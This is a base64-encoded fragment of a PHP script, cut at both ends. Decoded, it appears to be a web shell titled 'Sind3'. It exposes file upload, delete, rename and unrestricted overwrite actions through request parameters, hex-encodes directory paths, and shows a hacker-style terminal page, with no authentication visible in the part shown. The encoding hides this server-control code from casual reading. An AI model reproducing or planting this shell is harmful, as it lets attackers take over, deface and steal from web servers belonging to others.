AgICAgICAgICRyZXN1bHRbJ21zZyddID0gIWVtcHR5KCRyZXN1bHRbJ2Vycm9yJ10pID8gaW1wbG9kZSgnLCAnLCAkcmVzdWx0WydlcnJvciddKSA6ICdVcGxvYWQgZmFpbGVkJzsKICAgICAgICB9CiAgICB9CgogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsKICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3VsdCk7CiAgICBleGl0Owp9CgppZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddLCAkX0dFVFsnZmlsZSddKSAmJiBpbl9hcnJheSgkX0dFVFsnYWN0aW9uJ10sIFsnZGVsZXRlJywncmVuYW1lJywnZWRpdCddKSAmJiBpc3NldCgkX0dFVFsnZmlsZSddKSkgewogICAgLy8g4oCU4oCU4oCUIERFTEVURSDigJTigJTigJQKICAgIGlmICgkX0dFVFsnYWN0aW9uJ10gPT09ICdkZWxldGUnKSB7CiAgICAgICAgJGZpbGVOYW1lID0gJF9HRVRbJ2ZpbGUnXTsKICAgICAgICAkZmlsZVBhdGggPSByZWFscGF0aCgkZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZU5hbWUpOwogICAgICAgIGlmICghJGZpbGVQYXRoIHx8ICFpc19maWxlKCRmaWxlUGF0aCkpIHsKICAgICAgICAgICAgJHJlc3BvbnNlID0gWydzdGF0dXMnPT4nZmFpbGVkJywnbXNnJz0+J0ZpbGUgbm90IGZvdW5kIG9yIGFjY2VzcyBkZW5pZWQnXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gdW5saW5rKCRmaWxlUGF0aCk7CiAgICAgICAgICAgICRyZXNwb25zZSA9ICRyZXN1bHQKICAgICAgICAgICAgICAgID8gWydzdGF0dXMnPT4nc3VjY2VzcycsJ21zZyc9PidGaWxlIGRlbGV0ZWQgc3VjY2Vzc2Z1bGx5J10KICAgICAgICAgICAgICAgIDogWydzdGF0dXMnPT4nZmFpbGVkJywnbXNnJz0+J0ZpbGUgZGVsZXRpb24gZmFpbGVkJ107CiAgICAgICAgfQogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOwogICAgICAgIGV4aXQ7CiAgICB9CgogICAgLy8g4oCU4oCU4oCUIFJFTkFNRSDigJTigJTigJQKICAgIGlmICgkX0dFVFsnYWN0aW9uJ10gPT09ICdyZW5hbWUnKSB7CiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcgJiYgaXNzZXQoJF9QT1NUWyduZXdfbmFtZSddKSkgewogICAgICAgICAgICAkb2xkRmlsZSA9IHJlYWxwYXRoKCRkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfR0VUWydmaWxlJ10pOwogICAgICAgICAgICAkbmV3RmlsZSA9ICRkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfUE9TVFsnbmV3X25hbWUnXTsKICAgICAgICAgICAgaWYgKCRvbGRGaWxlICYmIGlzX2ZpbGUoJG9sZEZpbGUpKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gcmVuYW1lKCRvbGRGaWxlLCAkbmV3RmlsZSk7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSAkcmVzdWx0CiAgICAgICAgICAgICAgICAgICAgPyBbJ3N0YXR1cyc9PidzdWNjZXNzJywnbXNnJz0+J0ZpbGUgcmVuYW1lZCBzdWNjZXNzZnVsbHknXQogICAgICAgICAgICAgICAgICAgIDogWydzdGF0dXMnPT4nZmFpbGVkJywnbXNnJz0+J0ZpbGUgcmVuYW1pbmcgZmFpbGVkJ107CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBbJ3N0YXR1cyc9PidmYWlsZWQnLCdtc2cnPT4nRmlsZSBub3QgZm91bmQnXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOwogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlaWYgKCRpc0FqYXgpIHsKICAgICAgICAgICAgZWNobyAnPGgyPlJlbmFtZSBGaWxlOiAnIC4gaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnZmlsZSddKSAuICc8L2gyPic7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9InRlcm1pbmFsLWJveCI+JzsKICAgICAgICAgICAgZWNobyAnPGZvcm0gY2xhc3M9ImFqYXhGb3JtIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP2FjdGlvbj1lZGl0JmQ9JyAuIGhleCgkZCkgLiAnJmZpbGU9JyAuIHVybGVuY29kZSgkX0dFVFsnZmlsZSddKSAuICciPic7CiAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfbmFtZSIgcGxhY2Vob2xkZXI9Ik5ldyBmaWxlIG5hbWUiIHJlcXVpcmVkPjxicj48YnI+JzsKICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlJlbmFtZSI+ICc7CiAgICAgICAgICAgIGVjaG8gJzxidXR0b24gdHlwZT0iYnV0dG9uIiBpZD0iY2FuY2VsQWN0aW9uIj5DYW5jZWw8L2J1dHRvbj4nOwogICAgICAgICAgICBlY2hvICc8L2Zvcm0+JzsKICAgICAgICAgICAgZWNobyAnPC9kaXY+PGhyPic7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQoKICAgIC8vIOKAlOKAlOKAlCBFRElUIChlbEZpbmRlci1jb21wYXRpYmxlIHdpdGhvdXQgc2l6ZSBsaW1pdHMpIOKAlOKAlOKAlAogICAgaWYgKCRfR0VUWydhY3Rpb24nXSA9PT0gJ2VkaXQnKSB7CiAgICAgICAgLy8gQUpBWCBHRVQgLSByZXR1cm4gZmlsZSBjb250ZW50IGZvciBtb2RhbCBlZGl0aW5nCiAgICAgICAgaWYgKCRpc0FqYXggJiYgJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdHRVQnICYmIGlzc2V0KCRfR0VUWydnZXRfY29udGVudCddKSkgewogICAgICAgICAgICAkZmlsZU5hbWUgPSAkX0dFVFsnZmlsZSddOwogICAgICAgICAgICAkZmlsZVBhdGggPSByZWFscGF0aCgkZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZU5hbWUpOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYgKCEkZmlsZVBhdGggfHwgIWlzX2ZpbGUoJGZpbGVQYXRoKSkgewogICAgICAgICAgICAgICAganNvbl9yZXNwb25zZShbJ3N0YXR1cycgPT4gJ2ZhaWxlZCcsICdlcnJvcicgPT4gJ0ZpbGUgbm90IGZvdW5kJ10sIDQwNCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIGlmICghaXNfcmVhZGFibGUoJGZpbGVQYXRoKSkgewogICAgICAgICAgICAgICAganNvbl9yZXNwb25zZShbJ3N0YXR1cycgPT4gJ2ZhaWxlZCcsICdlcnJvcicgPT4gJ0ZpbGUgbm90IHJlYWRhYmxlJ10sIDQwMyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIFJldHVybiBjb250ZW50IHdpdGhvdXQgc2l6ZSBsaW1pdAogICAgICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7CiAgICAgICAgICAgIGlmICgkY29udGVudCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGpzb25fcmVzcG9uc2UoWydzdGF0dXMnID0+ICdmYWlsZWQnLCAnZXJyb3InID0+ICdGYWlsZWQgdG8gcmVhZCBmaWxlJ10sIDUwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgICRtaW1lVHlwZSA9ICd0ZXh0L3BsYWluJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWltZV9jb250ZW50X3R5cGUnKSkgewogICAgICAgICAgICAgICAgJGRldGVjdGVkTWltZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZVBhdGgpOwogICAgICAgICAgICAgICAgaWYgKCRkZXRlY3RlZE1pbWUpICRtaW1lVHlwZSA9ICRkZXRlY3RlZE1pbWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIGpzb25fcmVzcG9uc2UoWwogICAgICAgICAgICAgICAgJ3N0YXR1cycgPT4gJ3N1Y2Nlc3MnLAogICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRjb250ZW50LAogICAgICAgICAgICAgICAgJ21pbWUnID0+ICRtaW1lVHlwZSwKICAgICAgICAgICAgICAgICduYW1lJyA9PiAkZmlsZU5hbWUsCiAgICAgICAgICAgICAgICAnc2l6ZScgPT4gZmlsZXNpemUoJGZpbGVQYXRoKQogICAgICAgICAgICBdKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gQUpBWCBHRVQgLSBzaG93IGlubGluZSBmb3JtIChvcmlnaW5hbCBtZXRob2QpCiAgICAgICAgZWxzZWlmICgkaXNBamF4ICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnR0VUJykgewogICAgICAgICAgICAkZmlsZVBhdGggPSByZWFscGF0aCgkZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX0dFVFsnZmlsZSddKTsKICAgICAgICAgICAgaWYgKCRmaWxlUGF0aCAmJiBpc19maWxlKCRmaWxlUGF0aCkpIHsKICAgICAgICAgICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVQYXRoKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxoMj5FZGl0IEZpbGU6ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRfR0VUWydmaWxlJ10pIC4gJzwvaDI+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9InRlcm1pbmFsLWJveCI+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIGNsYXNzPSJhamF4Rm9ybSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9hY3Rpb249ZWRpdCZkPScgLiBoZXgoJGQpIC4gJyZmaWxlPScgLiB1cmxlbmNvZGUoJF9HRVRbJ2ZpbGUnXSkgLiAnIj4nOwogICAgICAgICAgICAgICAgZWNobyAnPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHJvd3M9IjEwIiBjb2xzPSI1MCIgcmVxdWlyZWQ+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzwvdGV4dGFyZWE+PGJyPjxicj4nOwogICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUiPiAnOwogICAgICAgICAgICAgICAgZWNobyAnPGJ1dHRvbiB0eXBlPSJidXR0b24iIGlkPSJjYW5jZWxBY3Rpb24iPkNhbmNlbDwvYnV0dG9uPic7CiAgICAgICAgICAgICAgICBlY2hvICc8L2Zvcm0+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pjxocj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC8vIEFKQVggUE9TVCAtIHNhdmUgdXBkYXRlZCBjb250ZW50CmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgewogICAgJGZpbGVOYW1lID0gJF9HRVRbJ2ZpbGUnXTsKICAgICRmaWxlUGF0aCA9IHJlYWxwYXRoKCRkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlTmFtZSk7CiAgICAKICAgIGlmICghJGZpbGVQYXRoIHx8ICFpc19maWxlKCRmaWxlUGF0aCkpIHsKICAgICAgICBqc29uX3Jlc3BvbnNlKFsnc3RhdHVzJyA9PiAnZmFpbGVkJywgJ21zZycgPT4gJ0ZpbGUgbm90IGZvdW5kJ10sIDQwNCk7CiAgICB9CiAgICAKICAgIGlmICghaXNfd3JpdGFibGUoJGZpbGVQYXRoKSkgewogICAgICAgIGpzb25fcmVzcG9uc2UoWydzdGF0dXMnID0+ICdmYWlsZWQnLCAnbXNnJyA9PiAnRmlsZSBub3Qgd3JpdGFibGUnXSwgNDAzKTsKICAgIH0KCiAgICAvLyBPcmlnaW5hbCBiZWhhdmlvciBmb3IgaW5wdXQ6IHN0cmlwc2xhc2hlcyBvbiByYXcgdGV4dAogICAgJGNvbnRlbnQgPSBzdHJpcHNsYXNoZXMoKHN0cmluZykkX1BPU1RbJ2NvbnRlbnQnXSk7CgogICAgLy8gQ3JlYXRlIGEgdGVtcG9yYXJ5IHN0cmVhbSBmb3Igc3RyZWFtaW5nIGNvcHkKICAgIC8vIHBocDovL3RlbXAgc3RvcmVzIGluIG1lbW9yeSB1bnRpbCBhIGNlcnRhaW4gc2l6ZSwgdGhlbiBzcGlsbHMgdG8gZGlzayBhdXRvbWF0aWNhbGx5LgogICAgJHNyYyA9IEBmb3BlbigncGhwOi8vdGVtcCcsICd3K2InKTsKICAgIGlmICghJHNyYykgewogICAgICAgIGpzb25fcmVzcG9uc2UoWydzdGF0dXMnID0+ICdmYWlsZWQnLCAnbXNnJyA9PiAnRmFpbGVkIHRvIG9wZW4gdGVtcCBzdHJlYW0nXSwgNTAwKTsKICAgIH0KCiAgICAvLyBXcml0ZSBpbmNvbWluZyBjb250ZW50IHRvIHRoZSB0ZW1wIHN0cmVhbQogICAgJHdyaXR0ZW5Ub1RlbXAgPSBAZndyaXRlKCRzcmMsICRjb250ZW50KTsKICAgIGlmICgkd3JpdHRlblRvVGVtcCA9PT0gZmFsc2UpIHsKICAgICAgICBAZmNsb3NlKCRzcmMpOwogICAgICAgIGpzb25fcmVzcG9uc2UoWydzdGF0dXMnID0+ICdmYWlsZWQnLCAnbXNnJyA9PiAnRmFpbGVkIHRvIGJ1ZmZlciBjb250ZW50IHRvIHRlbXAnXSwgNTAwKTsKICAgIH0KCiAgICAvLyBSZXdpbmQgdGVtcCBzdHJlYW0gdG8gdGhlIGJlZ2lubmluZyBmb3IgY29weWluZwogICAgQHJld2luZCgkc3JjKTsKCiAgICAvLyBPcGVuIGRlc3RpbmF0aW9uIGZpbGUgKG5vIGJhY2t1cCwgb3ZlcndyaXRlKQogICAgJGRlc3QgPSBAZm9wZW4oJGZpbGVQYXRoLCAnd2InKTsKICAgIGlmICghJGRlc3QpIHsKICAgICAgICBAZmNsb3NlKCRzcmMpOwogICAgICAgIGpzb25fcmVzcG9uc2UoWydzdGF0dXMnID0+ICdmYWlsZWQnLCAnbXNnJyA9PiAnRmFpbGVkIHRvIG9wZW4gZmlsZSBmb3Igd3JpdGluZyddLCA1MDApOwogICAgfQoKICAgIC8vIFN0cmVhbSBjb3B5IGZyb20gdGVtcCB0byBkZXN0aW5hdGlvbiBmaWxlCiAgICAvLyBDb3BpZXMgYWxsIHJlbWFpbmluZyBieXRlcyBmcm9tICRzcmMgaW50byAkZGVzdCBlZmZpY2llbnRseS4KICAgICRjb3BpZWQgPSBAc3RyZWFtX2NvcHlfdG9fc3RyZWFtKCRzcmMsICRkZXN0KTsKCiAgICAvLyBDbG9zZSBzdHJlYW1zCiAgICBAZmNsb3NlKCRzcmMpOwogICAgQGZjbG9zZSgkZGVzdCk7CgogICAgaWYgKCRjb3BpZWQgPT09IGZhbHNlKSB7CiAgICAgICAganNvbl9yZXNwb25zZShbJ3N0YXR1cycgPT4gJ2ZhaWxlZCcsICdtc2cnID0+ICdGYWlsZWQgdG8gd3JpdGUgZmlsZSddLCA1MDApOwogICAgfQoKICAgIC8vIFN1Y2Nlc3MgcmVzcG9uc2Ugd2l0aCBlbEZpbmRlci1zdHlsZSBmaWxlIGluZm8KICAgICRzdGF0ID0gQHN0YXQoJGZpbGVQYXRoKTsKICAgICRmaWxlSW5mbyA9IFsKICAgICAgICAnbmFtZScgICA9PiAkZmlsZU5hbWUsCiAgICAgICAgJ2hhc2gnICAgPT4gJ2wxXycgLiBiYXNlNjRfZW5jb2RlKCRmaWxlTmFtZSksCiAgICAgICAgJ3NpemUnICAgPT4gJHN0YXQgPyAkc3RhdFsnc2l6ZSddIDogMCwKICAgICAgICAnbWltZScgICA9PiBmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykgPyBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZVBhdGgpIDogJ3RleHQvcGxhaW4nLAogICAgICAgICd0cycgICAgID0+ICRzdGF0ID8gJHN0YXRbJ210aW1lJ10gOiB0aW1lKCksCiAgICAgICAgJ2RhdGUnICAgPT4gJHN0YXQgPyBkYXRlKCdZLW0tZCBIOmk6cycsICRzdGF0WydtdGltZSddKSA6IGRhdGUoJ1ktbS1kIEg6aTpzJyksCiAgICAgICAgJ3JlYWQnICAgPT4gaXNfcmVhZGFibGUoJGZpbGVQYXRoKSA/IDEgOiAwLAogICAgICAgICd3cml0ZScgID0+IGlzX3dyaXRhYmxlKCRmaWxlUGF0aCkgPyAxIDogMCwKICAgICAgICAnbG9ja2VkJyA9PiAwCiAgICBdOwoKICAgIGpzb25fcmVzcG9uc2UoWwogICAgICAgICdzdGF0dXMnICAgICAgICA9PiAnc3VjY2VzcycsCiAgICAgICAgJ21zZycgICAgICAgICAgID0+ICdGaWxlIGVkaXRlZCBzdWNjZXNzZnVsbHknLAogICAgICAgICdjaGFuZ2VkJyAgICAgICA9PiBbJGZpbGVJbmZvXSwKICAgICAgICAnYnl0ZXNXcml0dGVuJyAgPT4gJGNvcGllZAogICAgXSk7Cn0KCmpzb25fcmVzcG9uc2UoWydzdGF0dXMnID0+ICdmYWlsZWQnLCAnbXNnJyA9PiAnSW52YWxpZCByZXF1ZXN0J10sIDQwMCk7CiAgICB9Cn0KPz4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDx0aXRsZT5TaW5kMzwvdGl0bGU+CiAgICA8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PVVidW50dStNb25vJmRpc3BsYXk9c3dhcCIgcmVsPSJzdHlsZXNoZWV0Ij4KICAgIDxzdHlsZT4KICAgICAgICAqIHsgYm94LXNpemluZzogYm9yZGVyLWJveDsgfQogICAgICAgIGJvZHkgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDM3LCAzNywgMzcsIDAuOCk7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBmb250LWZhbWlseTogJ1VidW50dSBNb25vJywgbW9ub3NwYWNlOwogICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgfQogICAgICAgIC5jb250YWluZXIgewogICAgICAgICAgICB3aWR0aDogNjAlOwogICAgICAgICAgICBtYXJnaW46IDUwcHggYXV0bzsKICAgICAgICAgICAgcGFkZGluZzogMjBweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzIyMjsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgIH0KICAgICAgICAuZnV0ZXIgewogICAgICAgICAgICB3aWR0aDogNjAlOwogICAgICAgICAgICBtYXJnaW46IDUwcHggYXV0bzsKICAgICAgICAgICAgcGFkZGluZzogMjBweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzIyMjsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgIH0KICAgICAgICAuYnJlYWRjcnVtYnMgeyBtYXJnaW4tYm90dG9tOiAxNXB4OyB9CiAgICAgICAgYSB7IGNvbG9yOiAjMGYwOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0KICAgICAgICBhOmhvdmVyIHsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IH0KICAgICAgICB0YWJsZSB7IHdpZHRoOiAxMDAlOyBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBtYXJnaW4tdG9wOiAyMHB4OyB9CiAgICAgICAgdGgsIHRkIHsgYm9yZGVyOiAxcHggc29saWQgIzU1NTsgcGFkZGluZzogOHB4OyB0ZXh0LWFsaWduOiBsZWZ0OyB9CiAgICAgICAgdGggeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMzMzOyB9CiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSB7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiA4cHg7CiAgICAgICAgICAgIG1hcmdpbjogMDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMzMzsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBmb250LWZhbWlseTogJ1VidW50dSBNb25vJywgbW9ub3NwYWNlOwogICAgICAgIH0KICAgICAgICBpbnB1dFt0eXBlPSJzdWJtaXQiXSwgYnV0dG9uIHsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2ZmZjsKICAgICAgICAgICAgcGFkZGluZzogNHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzMzOwogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgfQogICAgICAgIGZvcm0geyBtYXJnaW4tYm90dG9tOiAyMHB4OyB9CiAgICAgICAgLnRlcm1pbmFsLWJveCB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI7CiAgICAgICAgICAgIGNvbG9yOiAjMGYwOwogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7CiAgICAgICAgfQogICAgICAgIC50ZXJtaW5hbC1ib3ggaW5wdXRbdHlwZT0idGV4dCJdLAogICAgICAgIC50ZXJtaW5hbC1ib3ggdGV4dGFyZWEgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyOwogICAgICAgICAgICBjb2xvcjogIzBmMDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMzMzsKICAgICAgICB9CiAgICAgICAgLm5vdGlmaWNhdGlvbiB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgYm90dG9tOiAyMHB4OwogICAgICAgICAgICBsZWZ0OiAyMHB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDIwcHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdVYnVudHUgTW9ubycsIG1vbm9zcGFjZTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgICAgICB6LWluZGV4OiAxMDAwOwogICAgICAgIH0KICAgICAgICAuc3VjY2VzcyB7IGJhY2tncm91bmQtY29sb3I6ICMwYTA7IGNvbG9yOiAjZmZmOyB9CiAgICAgICAgLmZhaWxlZCB7IGJhY2tncm91bmQtY29sb3I6ICNhMDA7IGNvbG9yOiAjZmZmOyB9CiAgICAgICAgLmluZm8geyBiYWNrZ3JvdW5kLWNvbG9yOiAjNGE5ZWZmOyBjb2xvcjogI2ZmZjsgfQogICAgICAgIC53YXJuaW5nIHsgYmFja2dyb3VuZC1jb2xvcjogI2ZmOTgwMDsgY29sb3I6ICNmZmY7IH0KICAgICAgICAjZmlsZUlucHV0IHsgZGlzcGxheTogbm9uZTsgfQogICAgICAgIC5jdXN0b20tZmlsZS1idXR0b24gewogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZmOwogICAgICAgICAgICBwYWRkaW5nOiA0cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgICAgIH0KCiAgICAgICAgLyogTW9kYWwgc3R5bGVzICovCiAgICAgICAgLmVkaXQtbW9kYWwgewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdodDogMTAwJTsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgwLCAwLCAwLCAwLjkpOwogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgei1pbmRleDogMTAwMDA7CiAgICAgICAgfQoKICAgICAgICAuZWRpdC1tb2RhbC1jb250ZW50IHsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzIyMjsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzU1NTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgICAgICB3aWR0aDogOTAlOwogICAgICAgICAgICBtYXgtd2lkdGg6IDkwMHB4OwogICAgICAgICAgICBoZWlnaHQ6IDg1JTsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwuNSk7CiAgICAgICAgfQoKICAgICAgICAuZWRpdC1tb2RhbC1oZWFkZXIgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzU1NTsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzMzOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHggOHB4IDAgMDsKICAgICAgICB9CgogICAgICAgIC5lZGl0LW1vZGFsLWhlYWRlciBoMyB7CiAgICAgICAgICAgIG1hcmdpbjogMDsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnVWJ1bnR1IE1vbm8nLCBtb25vc3BhY2U7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsKICAgICAgICB9CgogICAgICAgIC5maWxlLWluZm8gewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBnYXA6IDE1cHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsKICAgICAgICAgICAgY29sb3I6ICNjY2M7CiAgICAgICAgfQoKICAgICAgICAuZWRpdC1tb2RhbC1jbG9zZSB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4OwogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICB3aWR0aDogMzBweDsKICAgICAgICAgICAgaGVpZ2h0OiAzMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgfQoKICAgICAgICAuZWRpdC1tb2RhbC1jbG9zZTpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICM1NTU7CiAgICAgICAgfQoKICAgICAgICAuZWRpdC1tb2RhbC1ib2R5IHsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgZmxleDogMTsKICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICB9CgogICAgICAgIC5lZGl0LW1vZGFsLWJvZHkgdGV4dGFyZWEgewogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMTExOwogICAgICAgICAgICBjb2xvcjogIzBmMDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzU1NTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMnB4OwogICAgICA